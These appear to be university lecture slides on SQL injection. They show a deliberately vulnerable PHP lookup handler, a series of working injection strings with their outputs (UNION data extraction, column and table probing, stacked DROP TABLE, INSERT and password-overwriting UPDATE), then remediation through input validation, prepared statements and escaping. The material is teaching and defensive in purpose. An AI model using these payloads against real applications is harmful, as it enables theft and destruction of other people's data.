SQL Injection

AN IN-DEPTH DISCUSSION

CSCI 476

SQL INJECTION

AGENDA

- What is an SQL Injection vulnerability
- An example of SQL Injection
- An analysis of how it works
- How the attacker views the situation
- Input validation
- More attack vectors
- More remediation
- Avoiding SQL Injection

What Does Sql Injection Mean

- First, there is a software defect
- That defect results in a security vulnerability (or just vulnerability)
- A vulnerability is a weakness for certain types of attacks on the security of the application
- One of the possible attack types is an SQL Injection
- So, if you have a vulnerability that permits SQL Injection attacks, you have an SQL Injection vulnerability
- Why are we talking about this before we know more about security?

The SQL Injection Attack

- SQL is “Structured Query Language”
- It is a standardized language for accessing databases
- Examples
  - select name from employee where ssn=‘123456789’
  - select name, ssn, dob from employee where ssn=‘123456789’ and id=‘31042’
  - select code,name from products where code =‘536’ union select code,name from sales where code > ‘500’
- Every programming language implements SQL functionality in its own way

SQL Injection Example DB

Accounts			
Name	Account	UserId	Password
Joe B	1234	joe	mypass
Tom M	6787	Daisy	rover
Alicia G	2547	alicia	x123y
Sally B	7744	sal	yllas

Balances			
Account	Name	Cbalance	SBalance
2547	Alicia G	23.45	75.00
1234	Joe B	67.84	0.00
3333	Justin D	55.10	200.56
6787	Tom M	99.21	71.55
7744	Sally B	17.20	0.00
8899	Tom Q	102.55	66.00

SQL Injection Example …

- Assume that the select statement implemented is:

```
res = select CBalance from Balances where Acct='$acct'
```

- $acct is the variable containing the account number input by the user (PHP style naming)
- This is a typical usage of a select statement to look up a value

Enter your account number	3215
Your balance	

- Results in:

```
res = select CBalance from Balances where Acct='3215'
```

SQL Injection Example …

- But what if the user enters something like this

Enter your account number	**9999’%20or%20’1’=‘1**
Your balance	

```
res = select CBalance from Balances where Acct=‘9999’ or ‘1’=‘1’
```

- Since ‘1’=‘1’ is always true, the select statement will return all records
- res will contain, depending on the language
  – every record
  – the first record
  – the last record

SQL Injection Example …

- If the code block is:

```
res = select CBalance from Balances where Acct='$acct'
if res
    PrintHTML (res)
```

- Then the application will print whatever is in res.
- The attacker will have valuable information for further attacks, such as issuing a transaction against the account number discovered

An Example Program

- Command line form
  - http://www.cs.montana.edu/courses/csci476/code/sqli_ex1_mysql.py
  - http://www.cs.montana.edu/courses/csci476/code/sqli_ex1_outputWeb form
  - http://www.cs.montana.edu/courses/csci476/code/sqli_form.html
  - http://www.cs.montana.edu/courses/csci476/code/sqli_submit.php

An Example Program

```
<?php
# Simple PHP submit handler for mysqli
$acct = $_GET['account'];
$con = mysqli_connect ("127.0.0.1", "cs476", "passw", "cs476_ex1");
if (mysqli_connect_errno ())
{
  echo "Failed to connect to db: ".mysqli_connect_error();
  exit ();
}
$result = $con->query ($query);
if ($result)
{
  print ("You are identified as <P> name   userid<P> \n");
  while ($row = $result->fetch_row())
    printf ("%s |  %s <P>", $row[0], $row[1]);
  $result->close ();
}
$con->close();

?>
```

The Attack String

- How does the attacker determine the attack string?
  - Awareness of how the code might look
  - Guessing
  - Looking at messages resulting from failed attempts

Some Attack Strings

- Using the example program, what happens when you try different strings

```
1234
```

```
You are identified as
name userid

Joe B | joe
```

```
1234'
```

```
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server
version for the right syntax to use near ''1234''' at line 1
```

Some Attack Strings

- Using the example program, what happens when you try different strings

```
1234' or '1'='1
```

```
You are identified as
name userid

Joe B | joe

Alica G | alicia

Tom M | Daisy
```

```
1234' --
```

```
Same as 1234
```

Some Attack Strings

- Can we guess some field names?

```
1234' and account=NULL; --
```

For mysql, there must be white space after --

```
You are identified as
name userid
```

  - We know account is a valid field name, because

```
1234' and acct=NULL; --
```

```
Unknown column 'acct' in 'where clause'
```

  - Gives a different message

Some Attack Strings

- Can we guess some field names?

```
1234' and userid=NULL; --
```

```
You are identified as
name userid
```

  - Now we know userid

```
1234' and password=NULL; --
```

```
You are identified as
name userid
```

  - and password; these will be useful

Some Attack Strings

- How about table names

```
1234' and 1=(select count(*) from users); --
```

```
Table 'cs476_ex1.users' doesn't exist
```

  - We know there's not table named users, but the DB is named cs476_ex1

```
1234' and 1=(select count(*) from accounts); --
```

```
You are identified as
name userid'
```

  - Bingo!!

Some Attack Strings

- How about userid's

```
1234' or name LIKE '%Tom%'; --
```

```
You are identified as
name userid
Joe B | joe
Tom M | Daisy
```

```
1234' or userid LIKE '%al%'; --
```

```
You are identified as
name userid
Joe B | joe
Alica G | alicia
Sally B | sal
```

Some Attack Strings

- DROP TABLE table_name - Now that's just mean

```
1234' ; DROP TABLE TOSSIT; --
```

```
You are identified as
name userid

Fatal error: Call to a member function fetch_row() on a non-object in
/home/www/cs476/sqli/submit.php on line 27
```

  - The error is from the attempt to process an empty result. The DROP was successful.

Some Attack Strings

- INSERT INTO table (fieldlist) VALUES (valuelist)

```
1234' ; INSERT INTO accounts (; --
```

```
You are identified as
name userid

Fatal error: Call to a member function fetch_row() on a non-object in
/home/www/cs476/sqli/submit.php on line 27
```

  - The error is from the attempt to process an empty result.   The INSERT was successful.

Some Attack Strings

- UPDATE table set expression WHERE expression

```
11' ; UPDATE accounts SET password='fake' WHERE userid='sal'; --
```

```
You are identified as
name userid

Fatal error: Call to a member function fetch_row() on a non-object in
/home/www/cs476/sqli/submit.php on line 27
```

  – The error is from the attempt to process an empty result.   The UPDATE was successful.

Some Attack Strings

- select cols from table1 … UNION select cols from table2

```
1234' union select account,cbalance from balances; --
```

```
You are identified as
name userid
Joe B | joe
1234 | 67.84
2547 | 23.45
3333 | 55.10
6787 | 99.21
7744 | 17.20
8899 | 102.55
```

  - The number of columns must be the same
  - The columns from balances are not correctly labeled

Some Attack Strings

- select cols from table1 … UNION ALL select cols from table2

```
1234' union ALL select account,cbalance from balances; --
```

  - No good example, but
  - select name, account from accounts union select name, account from balances;
  - select name, account from accounts union ALL select name, account from balances;

```
+-----------+---------+
| name      | account |
+-----------+---------+
| Joe B     | 1234    |
| Alica G   | 2547    |
| Tom M     | 6787    |
| Sally B   | 7744    |
| A Ttacker | 9990    |
| A Ttacker | 9997    |
| A Ttacker | 9998    |
| A Ttacker | 9999    |
| Alicia G  | 2547    |
| Justin D  | 3333    |
| Tom Q     | 8899    |
+-----------+---------+
```

```
+-----------+---------+
| name      | account |
+-----------+---------+
| Joe B     | 1234    |
| Alica G   | 2547    |
| Tom M     | 6787    |
| Sally B   | 7744    |
| A Ttacker | 9990    |
| A Ttacker | 9997    |
| A Ttacker | 9998    |
| A Ttacker | 9999    |
| Joe B     | 1234    |
| Alicia G  | 2547    |
| Justin D  | 3333    |
| Tom M     | 6787    |
| Sally B   | 7744    |
| Tom Q     | 8899    |
+-----------+---------+
```

Some Attack Strings

- Using union to determine the number of columns

```
1234' or 1=1 union select null,null from balances; --
```

```
You are identified as
name userid
Joe B | joe
Alica G | alicia
Tom M | Daisy
Sally B | sal
A Ttacker | me
```

```
1234' or 1=1 union select null from balances; --
```

```
The used SELECT statements have a different number of columns
```

Some Attack Strings

- Using union to determine the number of columns

```
1234' or 1=1 union select null,null from balances; --
```

```
You are identified as
name userid
Joe B | joe
Alica G | alicia
Tom M | Daisy
Sally B | sal
A Ttacker | me
```

```
1234' or 1=1 union select null from balances; --
```

```
The used SELECT statements have a different number of columns
```

Some Attack Strings

- ORDER BY - can help identify column names and numbers of columns

```
1234' ORDER BY 1 --
```

```
You are identified as
name userid
Joe B | joe
```

  - Same for 2, but

```
1234' ORDER BY 3 --
```

```
Unknown column '3' in 'order clause'
```

  - We know that the select is for two columns

Some Attack Strings

- ORDER BY - can help identify column names and numbers of columns

```
1234' ORDER BY name --
```

```
You are identified as
name userid
Joe B | joe
```

  - But

```
1234' ORDER BY first_name --
```

```
Unknown column 'first_name' in 'order clause'
```

What Else

- There are dozens of potential attack string types. Check out these refs:
  - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
  - http://www.unixwiz.net/techtips/sql-injection.html
  - http://ha.ckers.org/sqlinjection/ - has a cool place to test strings
  - https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29

Remediation

- How do you prevent SQL Injection
  - Input validation
  - Using prepared statements
  - Stored procedures
  - Escape special characters
  - All of these, or at least more than one

Remediation – Input Validation

- Input validation
  - Blacklisting
    - Make a list of all of the incorrect possibilities and search for them
  - Whitelisting
    - Make a list of all the correct possibilities and search for them
    - Much smaller set
    - Regular expression are very help
  - Process
    - Correct length?
    - Correct type (depends on the language)
    - Correct value

Remediation – Input Validation

- Example

```
$zip = $_GET ['zipcode'];
if ((is_array ($zip)) || (! is_string ($zip))
{
     error ("Incorrect zip code format");
     exit ();
}
if ((strlen ($zip) < 5) || (strlen 9$zip) > 12))
     # error condition

$zip_re = '/^\d{5}([-\s]\d{4})?$/'     # 5digits followed by 0 or 1 reps of – or space and 4 digits
if (! preg_match ($zip_re, $zip) )               # 1 = match, 0 = no match
     # error condition
```

Remediation – Input Validation

- This is a lot of work, so plan for it
  - Create centralized routines to handle input validation
  - You can create data classes that can be tested identically except for the r.e.
  - If you think this is difficult and time-consuming, wait until you have to track down a defect

Remediation – Prepared Statements

- They vary between languages
- The give the SQL Engine the query in the form of a string with placeholders and a list of values
- The SQL Engine can use it's knowledge of column types and meta characters to defang the query
  - It's not perfect, so don't depend on it

Remediation – Prepared Statements

- Python

```
con.execute("select COUNT(*) from tbl1 where r = %s and c = %s", (range, cond))
```

- PHP

```
$stmt = $con->prepare("SELECT * from registry where name = ?");
$stmt->execute(array ($name))
```

```
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);
$name = $_GET ('fname');
$value = $_GET ('fval');
$stmt->execute ();
```

Remediation – Prepared Statements

- Java

-

```
PreparedStatement getSales = null;
String getPSstring = "select name, value from tbl1 where cond=? and status=?";
try
{
    getSales = con.PrepareStatement (getPSstring);
    getSales.setInt (1, condition);
    getSales.setString (2, cur_stat);
    con.commit ();
}
catch (SQLException e)
{
     System.err.print ("Dagnabbit – no did work");
     System.exit ();
}
finally { con.close ()}
```

Remediation – Stored Procedures

- Left to the consumer

Remediation – Escaping

- Although SQL has some standard special characters, each DB has some of its own, so be careful
- Normally, don't allow special characters in your inputs unless necessary
- In general, Characters preceded by a backslash (\) are escaped
- Some characters have other forms as well – e.g. two single quotes means a quote without special meaning
-
    - \0 An ASCII NUL (0x00) character.
    - ' A single quote (“'”) character.
    - " A double quote (“"”) character.
    - \b A backspace character.
    - \n A newline (linefeed) character.
    - \r A carriage return character.
    - \t A tab character.
    - \Z ASCII 26 (Control-Z).
    - \ A backslash (“\”) character.
    - % A “%” character.
    - _ An “_” character.

Remediation – Escaping

- Language specific functions like mysql_real_escape_string are being deprecated because there is too much risk in assuming that escaping will work without other help.
- Look for replace/translate/substitute functionality
  - python

Remediation – Play It Safe

- At least, input validation and prepared statements.
- Input validation has far more uses than just mitigating SQLi

The Attack

- Where are the vulnerabilities?
  - It must be something that will be used in a DB request
    - Credentials
    - Personal data that might be stored
    - Configuration of the app
    - Things that you create (discussion groups, posts, …)
    - But probably not
  - Look for entry points – places where the application opens itself to the world

The Attack

- Check for a defect
  - Something simple like a single quote
  - Ramp it up looking for a useful error message indicating a vulnerability
  - If nothing is apparent, try fuzzing the input with a tool
- To get the maximum gain, manually try strings to collect information

Homework

- I'm not going to go over everything that pertains to an assignment.
  - You are close to being professionals, you should be able to deduce what you need to know and go find it
  - The clock is ticking
  - I'm not getting any younger. (I don't know what that has to do with it.)
- Due dates
  - Normally, I will ask you to do something you can do in an hour or less and I would expect it done by the next class time so I can pile on some more
  - If it's going to take longer, I might mention that
  - If it's going to require some references you might not know about, I will mention those

Homework

- Lesson 1
  - Create a MySQL database with two tables
    - Table 1 has userid (varchar 10), firstname (varchar 20), lastname (varchar 20), ssn (no dashes) and history (varchar 2000)
    - Table 2 has userid (varchar 10), username (varchar 20), pass (varchar 40), sessionid (varchar 12)
  - Then write a routine in Java, Python, PHP or any other language you choose that will get some user input and lookup something in the database given the username and password
    - e.g. Enter the username and password, and return the userid, or the userid and the name
  - I'm not fussy about this. If you do it wrong, you can redo it. This doesn't have to be fancy, commented, indented (except Python) or a work of art. It's proof of concept code. I would prefer it not be all that good because I want it to break.

Homework

  - You can see where this is headed. Feel free to experiment.
- Do some experimenting, try some different things.
- There are hundreds of examples of SQL Injection strings on the web and some very good sites for study. Try
  - http://www.unixwiz.net/techtips/sql-injection.html
- Update your program to protect against SQL Injection and test that it works.

Homework 2

- Write a simple program with your language of choice that will use regular expressions to check for:
  - SSN's entered in free form (the HTML form doesn't do anything for you)
  - International telephone numbers (not all of them, just a few forms)
  - Last names, where quotes and hyphens are allowed
  - IPv4 IP addresses (how many ways are there? – do a few)
  - Id numbers with 3 digits, a dash, two alphanumeric characters, a dash, then either a string of 6 digits, or a string of up to 8 alphabetic characters (upper or lower case), then a period, then 4 hex digits another period and then an optional two digit code.
- Due: 2/6